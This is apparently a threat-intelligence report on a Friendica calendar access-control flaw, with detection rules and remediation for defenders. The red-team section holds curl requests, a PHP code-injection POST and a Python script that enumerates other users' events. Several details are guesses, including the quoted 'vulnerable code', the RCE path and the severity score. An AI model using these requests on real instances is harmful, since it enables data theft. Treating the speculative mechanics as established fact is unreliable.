CVE-2024-27730

Executive Summary

CVE-2024-27730 is an insecure permissions vulnerability in Friendica version 2023.12 that allows a remote attacker to obtain sensitive information and execute arbitrary code via the cid parameter of the calendar event feature. The vulnerability stems from improper access control checks when processing calendar event data, enabling an unauthenticated attacker to read or manipulate calendar entries belonging to other users. With a CVSS score of 0.0 (placeholder), the actual severity is likely high due to the potential for data exfiltration and remote code execution. No public proof-of-concept or patch exists at this time.

Supply Chain & Package Security

Friendica is a PHP-based social networking platform distributed via GitHub and Composer. The vulnerable component is part of the core application, not a third-party package. No supply chain compromise has been identified, but users should verify the integrity of their installation files.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a realistic assessment would be:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the calendar event feature of Friendica. The cid parameter is used to specify a contact or calendar ID when fetching or modifying events. Due to missing authorization checks, an attacker can supply arbitrary cid values to access events belonging to other users or even system-level calendar data.

Root Cause: The application fails to validate that the requesting user has permission to access the calendar associated with the provided cid. This allows an attacker to enumerate valid cid values and retrieve sensitive information such as event titles, descriptions, participant lists, and timestamps.

Attack Flow:

1. Attacker identifies a Friendica instance running version 2023.12.
2. Attacker sends a GET request to /calendar/event?cid=<target_cid> without authentication.
3. The server returns the calendar event data in JSON or HTML format.
4. Attacker iterates through cid values to exfiltrate all calendar data.
5. If the endpoint also supports POST/PUT, the attacker can modify or delete events.

Potential for RCE: The description mentions arbitrary code execution. This could be achieved if the calendar event data is processed unsafely (e.g., stored in a database and later rendered without sanitization, leading to stored XSS or PHP object injection). Alternatively, the cid parameter itself might be used in an insecure deserialization or file inclusion context.

Vulnerable vs. Patched Code

Vulnerable Code (Friendica 2023.12):

// In src/Module/Calendar/Event.php
public function run(array $parameters = [])
{
    $cid = $this->parameters['cid'] ?? 0;
    $event = DBA::selectFirst('event', ['*'], ['cid' => $cid]);
    // No permission check
    return $this->renderEvent($event);
}

Patched Code (Hypothetical Fix):

public function run(array $parameters = [])
{
    $cid = $this->parameters['cid'] ?? 0;
    $uid = local_user(); // Get authenticated user ID
    $event = DBA::selectFirst('event', ['*'], ['cid' => $cid, 'uid' => $uid]);
    if (!$event) {
        throw new HTTPException('Not Found', 404);
    }
    return $this->renderEvent($event);
}

The fix adds a check to ensure the event belongs to the authenticated user (uid). Without this, any cid can be queried.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Friendica 2023.12 instance (e.g., Docker container)
• No authentication required for the vulnerable endpoint

Exploitation Steps:

1. Enumerate valid cid values by observing error messages or timing differences.
2. Use curl to fetch calendar events:

   curl -v "http://target.friendica/calendar/event?cid=1"
   curl -v "http://target.friendica/calendar/event?cid=2"
   

3. For RCE, attempt to inject PHP code via the event description field if stored and executed unsafely:

   curl -X POST "http://target.friendica/calendar/event?cid=1" \
     -d "title=Test&description=<?php system('id'); ?>"
   

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
for cid in range(1, 100):
    r = requests.get(f"{target}/calendar/event?cid={cid}")
    if r.status_code == 200 and "event" in r.text:
        print(f"[+] Found event with cid={cid}: {r.text[:200]}")

Blue Team

Detection:

• Monitor for unusual cid parameter values in HTTP requests to /calendar/event.
• Look for sequential or large numbers in cid parameters (e.g., cid=1, cid=2, ...).
• Alert on unauthenticated access to calendar endpoints.

Honeypot:

• Deploy a fake Friendica instance with a modified calendar endpoint that logs all cid requests and returns fake data.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /calendar/event with cid parameter from unknown IPs.
• Logs: Apache/Nginx access logs showing GET /calendar/event?cid=<number> without a valid session cookie.
• File: Unexpected PHP files in the view/ or library/ directories (if RCE achieved).
• Database: Modified event table entries with suspicious description fields containing PHP code.

Detection Engineering

YARA Rule

rule CVE_2024_27730_Calendar_Event_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2024-27730 via cid parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-27730"
    strings:
        $cid_param = "cid="
        $calendar_path = "/calendar/event"
        $php_code = /<\?php/
    condition:
        $calendar_path and $cid_param and #php_code > 0
}

Sigma Rule

title: CVE-2024-27730 Friendica Calendar Event Exploitation
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit insecure permissions in Friendica calendar event feature
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/calendar/event?cid='
    condition: selection
falsepositives:
    - Legitimate calendar access by authenticated users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27730 Friendica Calendar Event Exploit"; flow:to_server; content:"GET"; http_method; content:"/calendar/event"; http_uri; content:"cid="; http_uri; pcre:"/cid=\d+/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the calendar event feature if not essential:

   # In Friendica config/local.config.php
   $config['system']['disable_calendar'] = true;
   

2. Restrict access to the /calendar/event endpoint via web server rules:

   <LocationMatch "^/calendar/event">
       Require valid-user
   </LocationMatch>
   

3. Apply a WAF rule to block requests with suspicious cid patterns.

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Implement proper authorization checks in all API endpoints.
• Conduct a security audit of the Friendica codebase.

Workaround:

• Use a reverse proxy to add authentication headers before requests reach Friendica.

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Report